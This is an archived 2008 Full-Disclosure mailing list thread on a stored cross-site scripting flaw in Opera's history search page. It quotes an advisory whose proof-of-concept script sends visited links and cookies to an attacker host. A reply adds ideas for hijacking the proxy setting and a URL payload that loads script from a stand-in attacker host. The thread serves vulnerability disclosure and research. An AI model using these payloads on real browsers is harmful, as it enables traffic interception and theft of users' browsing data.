lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 22 Oct 2008 18:41:01 +0200
From: Stefano Di Paola <stefano.dipaola@...ec.it>
To: Roberto Suggi <roberto.suggi@...urity-assessment.com>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Re: Opera Stored Cross Site
	Scripting	Vulnerability

Hi guys
I'm not a real Opera expert, but since the scheme is opera: you could
change the configuration on the fly, for example to set a remote proxy

1. add in historysearch an iframe with src='opera:config'
2. add a script into the iframe which execute:
opera.setPreference("Proxy","HTTP Server","at.tack.er:8080")

And you can sniff the traffic. No Poc cause too much stuff to do.

On linux/Macos probably some program execution could be done using xterm
--display at.tack.er in place of telnet program.

Also maybe under windows some \\att.tack.er\program.exe ?

Just some ideas :)

BTW, I saw that also the q= parameter has a potential Xss.
you just need to force a similar content to be loaded and stored in
cache.
Just set a page with:
&lt;script+src='http://at.tack.er/s.js'&gt;&lt;/script&gt;

and then point the address to:

opera:historysearch?q=*%22%3E%3Cscript+src='http:%2f%2fat.tack.er%
2fs.js'%3E%3C%2fscript%3E&p=1&s=1

and you'll get at the bottom:
<ul><li><a rel="prev" href="opera:historysearch?q=*"><script
src='http://at.tack.er/s.js'></script>&amp;p=1&amp;s=0">Precedente</a></li> <li>Successiva</li></ul>
</body></html>


Cheers,
Stefano

Il giorno gio, 23/10/2008 alle 02.55 +1300, Roberto Suggi ha scritto:
> -----Original Message-----
> From: kuza55 [mailto:kuza55@...il.com]
> Sent: Thursday, 23 October 2008 1:25 a.m.
> To: Roberto Suggi
> Cc: full-disclosure@...ts.grok.org.uk
> Subject: Re: [Full-disclosure] Opera Stored Cross Site Scripting Vulnerability
> 
> >Is there any potential for code execution here similar to XSS bugs in
> >Firefox's chrome:// context or in IE's Local Zone?
> 
> No, I don't think so unless I have missed something... The opera:historysearch document.domain has

>  NULL value (like about:blank). Access to file://localhost/ zone is forbidden for instance.
> 
> >Also, you have a PoC which extracts document.cookie; which cookie does
> >this acquire? From my understanding of this advisory the xss is
> >rendered in opera:historysearch rather than any specific website, so
> >document.cookie should not have any entries; is there something I've
> >missed here?
> 
> Yes, you are right. Document.cookie is empty and I don't think cookie can be set for about:historysearch 

> which is like about:blank. Not sure why I wrote that...maybe I got confused at some stage or maybe I wasn't 

> realising I was dumping an empty cookie! ;-)
> 
> >The way I'm reading this advisory is that all you've managed to do is
> >read out the user's history (which is still an issue; tokens in urls,
> >privacy, etc) via this xss, but nothing more.
> 
> Yep, the exploit is mainly about stealing history. But I guess many other things can be done. A couple things I 

> can think at 3am in the morning is redirecting users to specific sites depending on sites visited or creating a botnet with Beef.
> 
> 2008/10/22 Roberto Suggi <roberto.suggi@...urity-assessment.com>:
> > ======================================================
> > =================
> > = Opera Stored Cross Site Scripting Vulnerability
> > =
> > = Vendor Website:
> > = http://www.opera.com
> > =
> > = Affected Version:
> > =   -- All desktop versions
> > =
> > = Public disclosure on 22nd October 2008
> > =
> > ======================================================
> > ==================
> >
> > Available online at:
> > http://www.security-assessment.com/files/advisories/20
> > 08-10-22_Opera_Stored_Cross_Site_Scripting.pdf
> >
> > == Issue Details ==
> >
> > Opera browser is vulnerable to stored Cross Site
> > Scripting.  A malicious attacker is able to inject
> > arbitrary browser content through the
> > websites visited with the Opera browser. The code
> > injection is rendered into the Opera History Search
> > page which displays URL and a short
> > description of the visited pages.
> >
> > == Bug Analysis ==
> >
> > Opera.exe imports Opera.dll which handles most of the
> > browser functionality.
> > Whenever a user visits a page, the URL, and a part of
> > the content of the visited page is saved and
> > compressed in a file named md.dat . The
> > file md.dat can be found at the following path in a
> > standard Windows Opera installation:
> >
> > c:\Documents and Settings\user\Local
> > Settings\Application
> > Data\Opera\Opera\profile\vps\0000\md.dat
> >
> > The vulnerability exists in the way the URL and the
> > content of visited page is stored and rendered from
> > the md.dat file.
> >
> > == Opera History Search Page Generation ==
> >
> > User visits a new site. When the user closes the Opera
> > browser, the file md.dat is updated. The Opera browser
> > appends a block of 2000 bytes
> > for each site visited.
> >
> > The site URL and title are extracted and put in clear
> > text at begin of the 2000 bytes block.
> >
> > The preview content which appears on
> > opera:historysearch page for the site is compressed
> > into the file md.dat. However, the HTML encoding is
> > not consistent across the URL scheme of the site and
> > the injection is possible in the optional fragment of
> > the URL (after the # character).
> >
> > The following sequence summarises an attack scenario:
> >
> > 1.User visits http://aaa.com/index.htm#<script
> > src=http://badsite/bad.js></script>
> > 2.URL and preview content is stored in the history
> > search page. However, the optional fragment after the
> > character # is not encoded properly.
> > 3.If the user visits the history search page, the
> > cross site scripting is rendered in the user browser
> > context.
> >
> > == Opera History Search Page Rendering ==
> >
> > When accessing the History Search page, Opera reads
> > the file md.dat again. The content from md.dat is
> > decompressed and saved into a buffer.
> > The buffer is then used to generate a cache file that
> > contains the HTML code of the history search page.
> > The cache file can be found such as:
> >
> > c:\Documents and Settings\user\Local
> > Settings\Application
> > Data\Opera\Opera\profile\cache4\opr000EA
> >
> > Then Opera reads the content from the cache file to
> > display the history search page. The HTML code is not
> > escaped for the optional fragment
> > on the URL of the visited pages.
> >
> > == Opera History/Cookie Exposed - Exploit Description
> > ==
> >
> > Victim visits site xxx/1.html and clicks on the link.
> > The 1.html source code:
> >
> > 1.HTML
> >
> > <html>
> > <a href='http://xxx/2.html#<script
> > src=http://xxx/a.js></script>'>a</a>
> > </html>
> >
> > The link includes the cross site scripting injection
> > and brings the victim to page 2.html. The web server
> > returns 200 OK. The 2.html source code:
> >
> > 2.HTML
> >
> > <html>
> > This is a proof of concept.
> > <script>
> > setTimeout("document.location='opera:historysearch?q=*
> > '",5000);
> > </script>
> > </html>
> >
> > The user is then redirected to the opera:historysearch
> > page where the injection has been stored in the
> > history after the user followed the
> > link from 1.html. The injection inserted a malicious
> > JavaScript a.js which is executed when the user
> > reaches the opera history search page.
> >
> > a.js
> >
> > var x;
> > for (x in document.links)
> > {
> > document.write("<img
> > src=http://yyy/xxx.asp?query="+document.links[x].href+
> > ">");
> > }
> > document.write("<img
> > src=http://yyy/xxx.asp?keyword="+document.cookie+">");
> > setTimeout("document.location='http://xxx/3.html'",500
> > 0);
> >
> > The malicious JavaScript includes a cross site forged
> > request that dumps the URL of the visited pages to a
> > third site yyy controlled by the
> > attacker. Then the content of the cookie is also
> > dumped and finally the user is redirected to another
> > page 3.html.
> >
> > == Opera History Cross Site Scripting and Cross Site
> > Request Forgery ==
> >
> > This is the HTML source code of the
> > opera:historysearch?q=* page following the injection
> > :
> >
> > <li value="3">
> > <h2><a href="http://xxx/2.html#<script
> > src=http://xxx/a.js></script>">(null)</a></h2>
> > <p>This is a proof of concept. </p>
> > <cite><ins>10/9/2008 12:39:16 AM</ins> -
> > http://xxx/2.html#<script
> > src=http://xxx/a.js></script></cite>
> >
> > Note that in Opera 9.52, the injection is possible in
> > other locations:
> >
> > URL: http://xxx/2.html?a="><script
> > src=http://xxx/a.js</script>
> >
> > Injection:
> >
> > <li value="3">
> > <h2><a href=http://xxx/2.html?a="><script
> > src=http://xxx/a.js></script>">...
> >
> > URL: http://xxx/2.html?a=<script
> > src=http://xxx/a.js</script>
> >
> > Injection:
> >
> > <li value="3">
> > <h2><a href="http://xxx/2.html?a=<script
> > src=http://xxx/a.js></script>">(null)</a></h2>
> > <p>This is a proof of concept. </p>
> > <cite><ins>10/9/2008 12:39:16 AM</ins> -
> > http://xxx/2.html?a=<script
> > src=http://xxx/a.js></script></cite>
> >
> > Opera 9.60 has partially fixed the issues above but
> > the HTML encoding is still not consistent.
> >
> > == Credit ==
> >
> > Discovered and advised to Opera
> > October 2008 by Roberto Suggi Liverani of
> > Security-Assessment.com
> > Personal Page: http://malerisch.net
> >
> > == Greetings ==
> >
> > To all my SA colleagues - you guys rock! ;-)
> >
> > == About Security-Assessment.com ==
> >
> > Security-Assessment.com is Australasia's leading team
> > of Information
> > Security consultants specialising in providing high
> > quality Information
> > Security services to clients throughout the Asia
> > Pacific region. Our
> > clients include some of the largest globally
> > recognised companies in
> > areas such as finance, telecommunications,
> > broadcasting, legal and
> > government. Our aim is to provide the very best
> > independent advice and
> > a high level of technical expertise while creating
> > long and lasting
> > professional relationships with our clients.
> > Security-Assessment.com is committed to security
> > research and
> > development, and its team continues to identify and
> > responsibly publish
> > vulnerabilities in public and private software
> > vendor's products.
> > Members of the Security-Assessment.com R&D team are
> > globally recognised
> > through their release of whitepapers and presentations
> > related to new
> > security research.
> >
> > Roberto Suggi Liverani
> > Security-Assessment.com
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> 
> Internal Virus Database is out of date.
> Checked by AVG - http://www.avg.com
> Version: 8.0.173 / Virus Database: 270.7.6/1711 - Release Date: 6/10/2008 5:37 p.m.
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

-- 
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Owasp Italy R&D Director

Web: www.wisec.it
..................


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ